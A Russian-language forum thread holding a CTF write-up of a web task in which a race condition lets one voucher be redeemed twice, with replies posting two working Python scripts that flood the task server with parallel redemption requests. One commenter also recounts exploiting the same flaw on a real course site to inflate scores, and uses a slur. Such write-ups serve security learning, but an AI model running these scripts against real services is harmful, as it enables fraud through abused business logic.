ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Antichat - Точка невозврата [Writeup] (https://forum.antichat.xyz/showthread.php?t=1642853)

vov4ick 02.01.2024 22:59

Когда код бежит быстрее, чем мысли программиста.

https://forum.antichat.xyz/attachmen...3dfaf5aef7.png

- Приветствие

- Изучение сайта и сбор информации

- Использование уязвимости

- Заключение

Приветствую всех кто заглянул на огонек, сегодня мы рассмотрим таск "Точка невозврата" из категории Веб antichat.

Изучение сайта и сбор информации.
Первое что мы видим попадая на сайт это форма регистрации:

https://forum.antichat.xyz/attachmen...c2bd026e1b.png

Регистрируемся на сайте и входим в наш личный кабинет:

https://forum.antichat.xyz/attachmen...5c24701c37.png

Здесь мы понимаем что есть баланс и возможность купить флаг. Так же есть форма для отправки ваучера.
Заглядываем в исходный код и видим тестовые ваучеры:

https://forum.antichat.xyz/attachmen...0aea731bca.png

При вводе ваучеров каждый дает 100$, но нам все равно не хватает денег для покупки флага.
Здесь мы будем пробовать 'Race Conditions'. Это распространенный тип уязвимостей, тесно связанный с недостатками бизнес логики .
Они возникают, когда веб-сайты одновременно обрабатывают запросы без адекватных мер безопасности.

Использование уязвимости .
Мы воспользуемся двумя браузерами и одной учетной записью. Отправим один ваучер с одного браузера и сразу же со второго:

https://forum.antichat.xyz/attachmen...a9bcdfe636.png

Здесь мы видим, что при отправке ваучера который должен был дать нам 100$, дал нам 200$.
Ваучер применился дважды, хотя не должен был.

https://forum.antichat.xyz/attachmen...840a4d57fc.png

Вводим оставшиеся ваучеры таким же способом и у нас получается такая картина:

https://forum.antichat.xyz/attachmen...b810b90059.png

Ура! Дальше мы просто нажимаем на кнопку BUY FLAG и покупаем его.

- Заключение

Это произошло из-за того, что при работе с ваучером не были применены механизмы синхронизации доступа к ресурсу (ваучеру), которые бы предотвратили одновременное применение его двумя браузерами в нашем случае. Каждый из браузеров смог пройти проверку (например, проверку на уникальность использования ваучера) и получил денежный бонус, так как сервер не успел обработать информацию об уже использованном ваучере перед обработкой второго запроса.

Довольно интересный вектор атаки, про который не стоит забывать и проверять его при тестировании.
Кто обратил внимание на данную статью и набравший большее количество баланса, отпишите в комментарии.
Будет очень интересно, так же увидеть решение способом через Burp.

До новых встреч!

Paladin 02.01.2024 23:34

Сколько ни пробовал не получилось ни так, ни через Burp. Только при помощи скрипта:
import os
os.fork() #2
os.fork() #4
os.fork() #8
os.fork() #16
os.fork() #32
os.fork() #64
os.fork() #128
print os.popen('php -r ' + \
'"echo file_get_contents(\'http://62.173.140.174:16023/index.php?voucherCode=5mbhxgw&uid=38493860831191\' );"').read()

После отработки скрипта, перегружаем страницу.

vov4ick 03.01.2024 01:03

Цитата:


Paladin сказал(а):

Сколько ни пробовал не получилось ни так, ни через Burp. Только при помощи скрипта:
import os
os.fork() #2
os.fork() #4
os.fork() #8
os.fork() #16
os.fork() #32
os.fork() #64
os.fork() #128
print os.popen('php -r ' + \
'"echo file_get_contents(\'http://62.173.140.174:16023/index.php?voucherCode=5mbhxgw&uid=38493860831191\' );"').read()после отработки скрипта, перегружаем страницу.


Спасибо за еще один вид решения, обьязательно попробую его!
Была надежда что получится в Burp, там в Repeater есть возможность отправки группового параллельного запроса, но не вышло. Логика немного другая, но все же интересно

Paladin 03.01.2024 01:05

Цитата:


vov4ick сказал(а):

Спасибо за еще один вид решения, обьязательно попробую его!
Была надежда что получится в Burp, там в Repeater есть возможность отправки группового параллельного запроса, но не вышло. Логика немного другая, но все же интересно


Да есть такая опция в новом Burp, но не вышло никак

xuZ00 03.01.2024 13:47

Тоже пробовал через бурп, потом плюнул и написал такой скрипт с использованием многопоточности:

Python:


Код:

import
requests
from
fake_useragent
import
UserAgent
as
ua
from
multiprocessing
import
Process
def
give_me_money
(
vouch
)
:
page
=
requests
.
get
(
f"http://62.173.140.174:16023/index.php?voucherCode={vouch}&uid=963517371812217"
,
headers
=
usr_agt
)
if
__name__
==
'__main__'
:
usr_agt
=
{
'User-Agent'
:
ua
(
)
.
random
}
vouchers
=
[
'PAePaMt'
,
'5mbhxgw'
,
'dRRYa6Y'
]
for
voucher
in
vouchers
:
for
i
in
range
(
10
)
:
Process
(
target
=
give_me_money
,
args
=
(
voucher
,
)
)
.
start
(
)


vov4ick 04.01.2024 19:00

Цитата:


Paladin сказал(а):

Да есть такая опция в новом Burp, но не вышло никак


Это кстати моя первая уязвимость найденная в реальном приложении, с помощью этой техники. В плане группового параллельного запроса. Так что это актуально.

Paladin 04.01.2024 19:09

Цитата:


vov4ick сказал(а):

Это кстати моя первая уязвимость найденная в реальном приложении, с помощью этой техники. В плане группового параллельного запроса. Так что это актуально.


И моя тоже. Я ради этого скачал последнюю версию Burp, где есть этот плагин, но даже он не помог. Как мне сказали с этой ситуацией даже Turbo Intruder будет сложно справиться. А вот скрипт, правда для 2 питона, справился выше всяких похвал. Вообще, интересный момент, когда n1gga нашел Race Condition на сайте курса PRTT от Resolute Attack и накрутил себе баллов, ученики аплодировали стоя, а разрабы еще долго зубами скрипели.

vov4ick 04.01.2024 19:11

Цитата:


Paladin сказал(а):

И моя тоже. Я ради этого скачал последнюю версию Burp, где есть этот плагин, но даже он не помог. Как мне сказали с этой ситуацией даже Turbo Intruder будет сложно справиться. А вот скрипт, правда для 2 питона, справился выше всяких похвал. Вообще, интересный момент, когда n1gga нашел Race Condition на сайте курса PRTT от Resolute Attack и накрутил себе баллов, ученики аплодировали стоя, а разрабы еще долго зубами скрипели.


Не слышал эту историю, но довольно интересно

Paladin 04.01.2024 19:15

Цитата:


vov4ick сказал(а):

Не слышал эту историю, но довольно интересно

Да эту историю никто не слышал. Но было забавно, Мага подтвердит. Они даже статистику обнуляли. В конце нам даже нагадить захотели, но вовремя одумались.

Paladin 04.01.2024 19:23

Цитата:


Paladin сказал(а):

Да эту историю никто не слышал. Но было забавно, Мага подтвердит. Они даже статистику обнуляли. В конце нам даже нагадить захотели, но вовремя одумались.


https://forum.antichat.xyz/attachmen...88895c8e46.png

Их прямо раздражала эта картинка.


Время: 09:45